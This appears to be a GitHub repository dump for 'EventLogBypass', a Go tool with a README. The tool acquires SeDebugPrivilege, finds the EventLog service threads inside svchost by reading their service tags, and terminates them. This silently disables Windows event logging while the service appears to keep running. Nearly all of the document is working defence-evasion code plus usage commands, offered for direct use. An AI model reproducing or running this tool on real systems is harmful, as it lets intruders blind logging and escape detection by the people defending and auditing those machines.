├── EventLogBypass.go ├── README.md └── img.gif /EventLogBypass.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "os" 6 | "strconv" 7 | "strings" 8 | "syscall" 9 | "unsafe" 10 | ) 11 | 12 | //dll exports 13 | var ( 14 | Kernel32 = syscall.MustLoadDLL("Kernel32.dll") 15 | Ntdll = syscall.MustLoadDLL("Ntdll.dll") 16 | advapi32 = syscall.MustLoadDLL("advapi32.dll") 17 | User32 = syscall.MustLoadDLL("User32.dll") 18 | NtQueryInformationThread = Ntdll.MustFindProc("NtQueryInformationThread") 19 | OpenThread = Kernel32.MustFindProc("OpenThread") 20 | I_QueryTagInformation = advapi32.MustFindProc("I_QueryTagInformation") 21 | ReadProcessMemory = Kernel32.MustFindProc("ReadProcessMemory") 22 | IsWow64Process = Kernel32.MustFindProc("IsWow64Process") 23 | TerminateThread = Kernel32.MustFindProc("TerminateThread") 24 | CreateToolhelp32Snapshot = Kernel32.MustFindProc("CreateToolhelp32Snapshot") 25 | Thread32First = Kernel32.MustFindProc("Thread32First") 26 | Thread32Next = Kernel32.MustFindProc("Thread32Next") 27 | LookupPrivilegeValue = advapi32.MustFindProc("LookupPrivilegeValueW") 28 | AdjustTokenPrivileges = advapi32.MustFindProc("AdjustTokenPrivileges") 29 | ) 30 | 31 | const ( 32 | THREAD_QUERY_LIMITED_INFORMATION = 0x0800 33 | THREAD_ALL_ACCESS = 0x001F03FF //STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0xFFFF 34 | PROCESS_ALL_ACCESS = 0x000F0000 | 0x00100000 | 0xFFF 35 | PROCESS_VM_READ = 0x0010 36 | TH32CS_SNAPTHREAD = 0x00000004 37 | SE_DEBUG_NAME = "SeDebugPrivilege" 38 | SE_PRIVILEGE_ENABLED = 0x00000002 39 | ) 40 | 41 | 42 | type CLIENT_ID struct { 43 | UniqueProcess syscall.Handle 44 | UniqueThread syscall.Handle 45 | } 46 | 47 | type THREAD_BASIC_INFORMATION struct { 48 | ExitStatus uint32 49 | TebBaseAddress uintptr 50 | ClientId CLIENT_ID 51 | AffinityMask uintptr 52 | Priority uint32 53 | BasePriority uint32 54 | } 55 | 56 | type SC_SERVICE_TAG_QUERY struct { 57 | processId uint32 58 | serviceTag uint32 59 | Unknown uint32 60 | pBuffer unsafe.Pointer 61 | } 62 | 63 | type THREADENTRY32 struct { 64 | dwSize uint32 65 | cntUsage uint32 66 | th32ThreadID uint32 67 | th32OwnerProcessID uint32 68 | tpBasePri int 69 | tpDeltaPri int 70 | dwFlags uint32 71 | } 72 | 73 | type LUID struct { 74 | LowPart uint32 75 | HighPart uint32 76 | } 77 | 78 | type LUID_AND_ATTRIBUTES struct { 79 | Luid LUID 80 | Attributes uint32 81 | } 82 | 83 | type TOKEN_PRIVILEGES struct { 84 | PrivilegeCount uint32 85 | Privileges [1]LUID_AND_ATTRIBUTES 86 | } 87 | 88 | func main() { 89 | 90 | if len(os.Args) != 2 { 91 | fmt.Println("[*] Usage", os.Args[0], "pid") 92 | fmt.Println("[*] You can run the following command to get the PID of the corresponding process svchost.exe of eventlog service") 93 | fmt.Println(`[*] powershell -c "Get-WmiObject -Class win32_service -Filter \"name = 'eventlog'\" | select -exp ProcessId"`) 94 | return 95 | } 96 | 97 | if !SeDebugPrivilege() { 98 | fmt.Println("[*]SeDebugPrivilege Error") 99 | return 100 | } 101 | 102 | pid, err := strconv.Atoi(os.Args[1]) 103 | if err != nil { 104 | return 105 | } 106 | 107 | tids := GetallThread(uint32(pid)) 108 | for _, tid := range tids { 109 | ServiceName := GetServiceName(tid) 110 | if ServiceName == nil { 111 | continue 112 | } 113 | if strings.EqualFold(PVOIDToStr(ServiceName), "EventLog") { 114 | fmt.Println("[*]EventLog Thread ID:", tid) 115 | TerminateEventLog(tid) 116 | } 117 | } 118 | } 119 | 120 | //viod* to string 121 | func PVOIDToStr(pviod unsafe.Pointer) string { 122 | var s [8]byte //Because it only targets the string "EventLog", the length is directly written as 8 123 | for x := 0; x < len(s); x++ { 124 | s[x] = *(*byte)(unsafe.Pointer((uintptr(pviod) + uintptr(x*2)))) 125 | } 126 | return string(s[:]) 127 | } 128 | 129 | func TerminateEventLog(tid uint32) { 130 | thread, _, err := OpenThread.Call( 131 | uintptr(THREAD_ALL_ACCESS), 132 | 0, 133 | uintptr(tid), 134 | ) 135 | if !CheckErr(err) { 136 | return 137 | } 138 | r, _, err := TerminateThread.Call( 139 | thread, 140 | 0, 141 | ) 142 | if r != 0 && CheckErr(err) { 143 | fmt.Printf("[*]Kill Thread %d Success\n", tid) 144 | } else { 145 | fmt.Printf("[!]Kill Thread %d Fail\n", tid) 146 | } 147 | } 148 | 149 | func GetallThread(pid uint32) []uint32 { 150 | var th THREADENTRY32 151 | var alltid []uint32 152 | 153 | th.dwSize = 28 //sizeof(th) 154 | hThreadSnap, _, err := CreateToolhelp32Snapshot.Call( 155 | uintptr(TH32CS_SNAPTHREAD), 156 | 0, 157 | ) 158 | 159 | if !CheckErr(err) { 160 | return nil 161 | } 162 | r, _, err := Thread32First.Call( 163 | hThreadSnap, 164 | uintptr(unsafe.Pointer(&th)), 165 | ) 166 | if !CheckErr(err) { 167 | return nil 168 | } 169 | 170 | for { 171 | r, _, err = Thread32Next.Call( 172 | hThreadSnap, 173 | uintptr(unsafe.Pointer(&th)), 174 | ) 175 | if r == 0 { 176 | break 177 | } 178 | if th.th32OwnerProcessID == pid { 179 | alltid = append(alltid, th.th32ThreadID) 180 | } 181 | } 182 | return alltid 183 | } 184 | 185 | func GetServiceName(tid uint32) unsafe.Pointer { 186 | thread, _, err := OpenThread.Call( 187 | uintptr(THREAD_QUERY_LIMITED_INFORMATION), 188 | 0, 189 | uintptr(tid), 190 | ) 191 | 192 | if !CheckErr(err) || thread == 0 { 193 | return nil 194 | } 195 | 196 | var threadinfo THREAD_BASIC_INFORMATION 197 | 198 | _, _, err = NtQueryInformationThread.Call( 199 | thread, 200 | 0, 201 | uintptr(unsafe.Pointer(&threadinfo)), 202 | unsafe.Sizeof(threadinfo), 203 | 0, 204 | ) 205 | 206 | if !CheckErr(err) { 207 | return nil 208 | } 209 | 210 | var subProcessTag uint32 211 | 212 | hProcess, err := syscall.OpenProcess(uint32(PROCESS_VM_READ), false, uint32(threadinfo.ClientId.UniqueProcess)) 213 | if !CheckErr(err) { 214 | return nil 215 | } 216 | defer syscall.Close(hProcess) 217 | 218 | var dwOffset uintptr 219 | systembit := 32 << (^uint(0) >> 63) //Determine whether the system is 64-bit or 32-bit 220 | 221 | if systembit == 64 { 222 | dwOffset = 0x1720 223 | } else if systembit == 32 { 224 | dwOffset = 0xf60 225 | } else { 226 | fmt.Println("[!]Unknown Error") 227 | return nil 228 | } 229 | 230 | _, _, err = ReadProcessMemory.Call( 231 | uintptr(hProcess), 232 | threadinfo.TebBaseAddress+dwOffset, 233 | uintptr(unsafe.Pointer(&subProcessTag)), 234 | unsafe.Sizeof(subProcessTag), 235 | 0, 236 | ) 237 | 238 | if !CheckErr(err) || subProcessTag == 0 { 239 | return nil 240 | } 241 | 242 | var tag SC_SERVICE_TAG_QUERY 243 | tag.processId = uint32(threadinfo.ClientId.UniqueProcess) 244 | tag.serviceTag = subProcessTag 245 | 246 | _, _, err = I_QueryTagInformation.Call( 247 | 0, 248 | 1, 249 | uintptr(unsafe.Pointer(&tag)), 250 | ) 251 | 252 | if !CheckErr(err) { 253 | return nil 254 | } 255 | return tag.pBuffer 256 | 257 | } 258 | 259 | func CheckErr(err error) bool { 260 | if err != nil && err.Error() != "The operation completed successfully." { 261 | fmt.Println("[!]", err.Error()) 262 | return false 263 | } 264 | return true 265 | } 266 | 267 | //Enable SeDebugPrivilege 268 | func SeDebugPrivilege() bool { 269 | var luid LUID 270 | var hToken syscall.Token 271 | var tp TOKEN_PRIVILEGES 272 | r, _, err := LookupPrivilegeValue.Call( 273 | 0, 274 | uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(SE_DEBUG_NAME))), 275 | uintptr(unsafe.Pointer(&luid)), 276 | ) 277 | if r != 1 && !CheckErr(err) { 278 | return false 279 | } 280 | 281 | hProcess, err := syscall.GetCurrentProcess() 282 | 283 | if !CheckErr(err) { 284 | return false 285 | } 286 | defer syscall.Close(hProcess) 287 | 288 | err = syscall.OpenProcessToken(hProcess, syscall.TOKEN_ADJUST_PRIVILEGES, &hToken) 289 | if !CheckErr(err) { 290 | return false 291 | } 292 | 293 | tp.PrivilegeCount = 1 294 | tp.Privileges[0].Luid = luid 295 | tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED 296 | 297 | r, _, err = AdjustTokenPrivileges.Call( 298 | uintptr(hToken), 299 | 0, 300 | uintptr(unsafe.Pointer(&tp)), 301 | unsafe.Sizeof(tp), 302 | 0, 303 | 0, 304 | ) 305 | 306 | if r != 1 && !CheckErr(err) { 307 | return false 308 | } 309 | return true 310 | } 311 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # EventLogBypass 2 | 3 | Terminate the thread of the log service to disable the system log function, but the log service is still running 4 | 5 | ## Usage 6 | 7 | You can run the following command to get the `PID` of the corresponding process svchost.exe of eventlog service 8 | 9 | ``` 10 | powershell -c "Get-WmiObject -Class win32_service -Filter \"name = 'eventlog'\" | select -exp ProcessId" 11 | ``` 12 | 13 | ``` 14 | EventLogBypass.exe pid 15 | ``` 16 | 17 | ![gif](./img.gif) 18 | 19 | ## Restore Eventlog Service 20 | 21 | 22 | ``` 23 | taskkill /F /pid pid && net start eventlog 24 | ``` 25 | 26 | ## Reference 27 | 28 | Learn from 3gstudent's blog 29 | 30 | [https://github.com/3gstudent/Windows-EventLog-Bypass](https://github.com/3gstudent/Windows-EventLog-Bypass) -------------------------------------------------------------------------------- /img.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hack2fun/EventLogBypass/397bde82f38a0705480e9681f7e360c0a3e2fd74/img.gif --------------------------------------------------------------------------------